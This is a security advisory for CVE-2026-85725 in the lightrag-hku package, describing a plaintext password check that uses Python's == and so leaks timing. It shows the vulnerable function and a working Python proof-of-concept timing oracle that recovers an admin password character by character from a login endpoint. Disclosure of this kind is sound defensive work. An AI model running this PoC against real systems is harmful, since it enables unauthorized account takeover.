mediumCVSS 5.9Vulnerability

CVE-2026-85725

### Summary When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character. ### Details ```python # lightrag/api/passwords.py:13-26 def verify_password(plain_password: str, stored_password: str) -> bool: if stored_password.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK return stored_password == plain_password # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters ``` ### PoC ```python # Timing oracle: recover password char-by-char import httpx, time, string TARGET = "http://<TARGET>:9621/login" USER = "admin" def measure(pwd: str) -> float: t = time.perf_counter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perf_counter() - t known = "" for _ in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10))) known += best print(f"Recovered: {known}") ``` ### Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Properties

ghsa_id
GHSA-c759-cx9p-mrwq
severity
medium
summary
lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
cvss_score
5.9
cve_id
CVE-2026-85725
cvss_vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
signal_observed_at
2026-09-23T04:35:56+00:00
is_ghsa_only
false
ghsa_published
2026-09-22T20:40:19Z
source_url
https://github.com/advisories/GHSA-c759-cx9p-mrwq
ghsa_updated
2026-09-22T20:40:20Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]pip/lightrag-hku

AFFECTS (1)

[Software]pip/lightrag-hku

HAS_WEAKNESS (1)

[Weakness]Observable Timing Discrepancy

REPORTED_BY (1)

[Source]GitHub Advisory Database

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CVE-2026-85725 (CVSS 5.9) — Ninja Signal Threat Intelligence | Ninja Signal